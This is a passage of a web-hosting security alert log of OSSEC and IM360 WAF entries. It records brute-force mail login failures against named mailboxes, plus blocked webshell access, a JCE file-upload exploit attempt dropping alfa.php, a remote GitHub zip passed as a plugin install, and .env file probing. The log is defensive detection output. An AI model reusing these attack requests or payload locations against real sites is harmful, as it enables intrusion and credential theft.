IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-16 06:52:01 dovecot_login authenticator failed for H=(ipmapt-72-195-114-188.oc.oc.cox.net) [222.108.109.37]:58537: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-16 06:52:11 dovecot_login authenticator failed for H=([174.75.211.198]) [183.89.208.174]:53178: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.135.77.236
country_id: 1210997
domain: cochinbigbandshow.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cochinbigbandshow.com/index.php HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-16 06:55:40 dovecot_login authenticator failed for H=([49.125.201.75]) [182.95.228.194]:52536: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.34.106
country_id: 226074
description:
2026-07-16 06:56:16 dovecot_login authenticator failed for H=([125.19.159.186]) [196.0.34.106]:37455: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.224.193.215
country_id: 1562822
description:
2026-07-16 06:56:32 dovecot_login authenticator failed for H=(5-100-120-147.ipoe.vladlink.net) [14.224.193.215]:55982: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.6.19.38
country_id: 3932488
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e01099347 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.11.161
country_id: 1835841
description:
2026-07-16 06:59:55 dovecot_login authenticator failed for H=(syn-172-090-128-097.res.spectrum.com) [112.184.11.161]:46292: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 82.22.158.49
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-16 07:00:28 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([68.71.243.10]) [83.166.50.15]:58203: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-16 07:02:22 dovecot_login authenticator failed for H=([210.13.99.68]) [122.169.40.221]:56278: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-16 07:02:39 dovecot_login authenticator failed for H=([115.144.242.18]) [121.131.220.152]:52143: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-16 07:03:41 dovecot_login authenticator failed for H=([221.182.185.190]) [1.237.155.150]:39520: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-16 07:04:14 dovecot_login authenticator failed for H=(ip68-7-114-69.sd.sd.cox.net) [65.20.161.126]:50182: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-16 07:06:06 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net ([49.124.153.45]) [111.70.34.21]:40811: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-16 07:06:36 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([187.12.48.70]) [148.170.156.248]:33454: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-16 07:08:42 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([98.178.72.4]) [78.67.161.64]:60474: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 07:08:31 dovecot_login authenticator failed for H=([174.64.199.88]) [196.188.93.169]:4112: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 73.171.197.137
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:35391.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:613bce79fb631abc489e17501f3bfb55e670954d||Title:f0i11dyv5trb07hd||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-16 07:12:12 dovecot_login authenticator failed for H=(151.237.115.206.pronet.bg) [220.126.215.120]:48774: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-16 07:12:38 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([49.124.152.32]) [80.223.200.184]:53892: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.162.97.182
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:ahsmarine||SC:/home/ahsmarine/public_html/wp-json/gutenkit||WPU:||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-16 07:15:51 dovecot_login authenticator failed for H=([144.79.41.106]) [85.105.255.56]:53946: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-16 07:16:02 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([72.207.33.65]) [89.152.82.108]:33032: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-16 07:19:04 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se (72-24-210-58.cpe.sparklight.net) [83.226.56.106]:46798: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-16 07:19:13 dovecot_login authenticator failed for H=([67.201.39.9]) [82.16.221.216]:34820: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.95.133.126
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.99.2.124
country_id: 290557
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.63.128
country_id: 6251999
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/apkmetals/public_html/wp-content/uploads/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-16 07:24:04 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [122.185.44.206]:34829: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.238.86.2
country_id: 1819730
description:
2026-07-16 07:28:00 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [156.238.86.2]:56816: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-16 07:28:05 dovecot_login authenticator failed for H=([24.249.199.9]) [81.214.75.248]:36108: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-16 07:28:31 dovecot_login authenticator failed for H=([98.188.47.130]) [131.161.184.46]:35124: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-16 07:31:20 dovecot_login authenticator failed for H=([74.119.144.57]) [24.187.213.29]:43442: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.151
country_id: 1835841
description:
2026-07-16 07:31:51 dovecot_login authenticator failed for H=([153.37.177.219]) [218.149.228.151]:53351: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.103.212
country_id: 1835841
description:
2026-07-16 07:31:54 dovecot_login authenticator failed for H=([70.166.167.48]) [121.189.103.212]:35009: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-16 07:32:14 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([49.124.151.10]) [75.80.69.106]:39709: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-16 07:36:33 dovecot_login authenticator failed for H=([93.95.241.150]) [51.162.194.94]:35216: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-16 07:37:07 dovecot_login authenticator failed for H=([67.201.57.102]) [171.244.60.35]:19823: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77469916
abuser: 94.198.40.116
country_id: 2921044
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-c3ddae36.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-16 07:40:23 dovecot_login authenticator failed for H=([203.229.208.123]) [14.46.58.104]:60234: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.13.56
country_id: 1835841
description:
2026-07-16 07:42:48 dovecot_login authenticator failed for H=([31.173.12.27]) [112.184.13.56]:41586: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-16 07:42:23 dovecot_login authenticator failed for H=([139.227.188.247]) [185.66.234.228]:40748: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.19.216.74
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-42.23.19.216.74||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.240.162
country_id: 1269750
description:
2026-07-16 07:51:32 dovecot_login authenticator failed for H=([222.71.122.90]) [152.52.240.162]:51090: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-16 07:51:44 dovecot_login authenticator failed for H=([174.75.211.217]) [182.78.86.62]:34530: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.104.127.49
country_id: 1269750
description:
2026-07-16 07:51:58 dovecot_login authenticator failed for H=([5.48.46.95]) [103.104.127.49]:2845: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.65.70
country_id: 163843
description:
2026-07-16 07:53:36 dovecot_login authenticator failed for H=([218.13.214.18]) [205.209.65.70]:40008: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-16 07:53:44 dovecot_login authenticator failed for H=([67.201.39.9]) [82.16.221.216]:59586: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.160.135.218
country_id: 2510769
description:
2026-07-16 07:54:35 dovecot_login authenticator failed for H=(ip-50-5-205-174.dynamic.fuse.net) [90.160.135.218]:38617: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-16 07:54:48 dovecot_login authenticator failed for H=([1.237.155.150]) [220.77.214.59]:58418: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.252.107.127
country_id: 3489940
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7b1139741 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-16 07:54:10 dovecot_login authenticator failed for H=([49.124.159.179]) [122.53.106.124]:50957: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-16 07:54:28 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net (ip-104-200-152-25.hosts.zerolag.com) [111.70.34.21]:34936: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.215.192
country_id: 3865483
description:
2026-07-16 07:59:24 dovecot_login authenticator failed for H=([144.22.210.132]) [138.118.215.192]:35127: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-16 07:59:34 dovecot_login authenticator failed for H=([210.105.93.99]) [41.215.125.250]:43148: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-16 08:00:24 dovecot_login authenticator failed for H=([192.111.137.33]) [182.95.122.110]:40726: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.253.111.48
country_id: 1861060
domain: mail.keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/keralapeople/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.93.114
country_id: 1269750
description:
2026-07-16 08:04:25 dovecot_login authenticator failed for H=(vps-5b692794.vps.ovh.net) [117.252.93.114]:55034: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 08:04:14 dovecot_login authenticator failed for H=([162.253.68.102]) [188.122.37.97]:53192: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-16 08:12:11 dovecot_login authenticator failed for H=([14.97.77.182]) [65.181.79.60]:62456: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-16 08:12:23 dovecot_login authenticator failed for H=([193.95.21.147]) [188.122.39.33]:38516: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.29.106.78
country_id: 3439705
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/true-4k-uhd-ultra-short-throw-laser-projector-v5000i?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-borivali.html\">Borivali Call Girl service</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-16 08:17:13 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([110.185.173.167]) [80.223.163.253]:55928: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-16 08:18:18 dovecot_login authenticator failed for H=(164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [50.217.40.11]:33696: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 89.147.162.130
country_id: 286963
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://dragojusinski.com/\">ceme keliling</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-16 08:21:01 dovecot_login authenticator failed for H=([121.139.106.117]) [171.244.60.35]:61308: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-16 08:21:10 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([174.64.199.71]) [174.168.146.152]:43242: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.229.22.106
country_id: 6252001
description:
2026-07-16 08:22:30 dovecot_login authenticator failed for H=24.229.22.106.res-cmts.hzl2.ptd.net ([31.173.6.166]) [24.229.22.106]:51173: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-07-16 08:26:17 dovecot_login authenticator failed for H=([36.137.38.119]) [121.131.220.136]:54457: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-16 08:26:34 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com (broadband.actcorp.in) [90.230.115.5]:58088: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.172.89
country_id: 1835841
description:
2026-07-16 08:27:25 dovecot_login authenticator failed for H=(static.90.254.104.190.cps.com.ar) [211.252.172.89]:55276: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://bjyou4122.com/home.php?mod=space&uid=512961&do=profile&from=space\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.99.124.119
country_id: 1835841
description:
2026-07-16 08:33:36 dovecot_login authenticator failed for H=(5-100-120-147.ipoe.vladlink.net) [210.99.124.119]:50985: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-16 08:33:52 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com (187-50-193-126.customer.tdatabrasil.net.br) [90.230.226.175]:54706: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-16 08:34:25 dovecot_login authenticator failed for H=([201.218.0.23]) [27.123.111.110]:43204: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.247.208.118
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:futuracarecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-16 08:35:06 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([51.162.194.94]) [155.4.31.215]:55872: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-16 08:35:49 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([70.166.167.33]) [77.53.193.47]:50652: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 185.247.208.118
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.29||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.67.158
country_id: 1835841
description:
2026-07-16 08:36:13 dovecot_login authenticator failed for H=([142.54.225.52]) [14.51.67.158]:58948: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-16 08:37:01 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([49.124.149.20]) [77.53.193.47]:56238: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-16 08:37:33 dovecot_login authenticator failed for H=([36.64.33.82]) [122.185.101.50]:50144: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.210.105.202
country_id: 3175395
description:
2026-07-16 08:38:05 dovecot_login authenticator failed for H=95-210-105-202.ip.skylogicnet.com ([68.71.254.3]) [95.210.105.202]:20044: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-16 08:38:19 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [119.152.102.54]:45858: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.42.227.251
country_id: 3175395
description:
2026-07-16 08:40:39 dovecot_login authenticator failed for H=93-42-227-251.ip88.fastwebnet.it ([49.124.142.135]) [93.42.227.251]:59576: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-16 08:40:23 dovecot_login authenticator failed for H=(150.120.103.218.static.netvigator.com) [122.187.221.130]:54422: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-16 08:42:28 dovecot_login authenticator failed for H=([183.171.44.82]) [203.192.211.180]:43214: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-16 08:42:44 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([49.124.152.252]) [220.246.47.169]:55024: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 08:45:07 dovecot_login authenticator failed for H=([72.206.74.97]) [103.90.27.83]:36316: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 13.214.146.32
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-16 08:46:09 dovecot_login authenticator failed for H=([1.192.48.178]) [183.104.220.195]:53098: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-07-16 08:46:22 dovecot_login authenticator failed for H=(pipenode.vds-host.org) [119.192.210.110]:60917: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-16 08:45:50 dovecot_login authenticator failed for H=(nsg-static-65.18.76.182-airtel.com) [222.108.109.37]:47208: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-16 08:47:12 dovecot_login authenticator failed for H=([112.28.153.193]) [182.95.228.106]:46946: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-16 08:47:40 dovecot_login authenticator failed for H=([122.184.124.46]) [183.82.108.109]:34230: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-07-16 08:49:00 dovecot_login authenticator failed for H=([49.124.153.28]) [20.46.45.121]:57094: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-16 08:49:12 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [2.59.162.146]:37036: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.155.237.108
country_id: 1835841
description:
2026-07-16 08:50:05 dovecot_login authenticator failed for H=([14.32.231.200]) [221.155.237.108]:57708: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
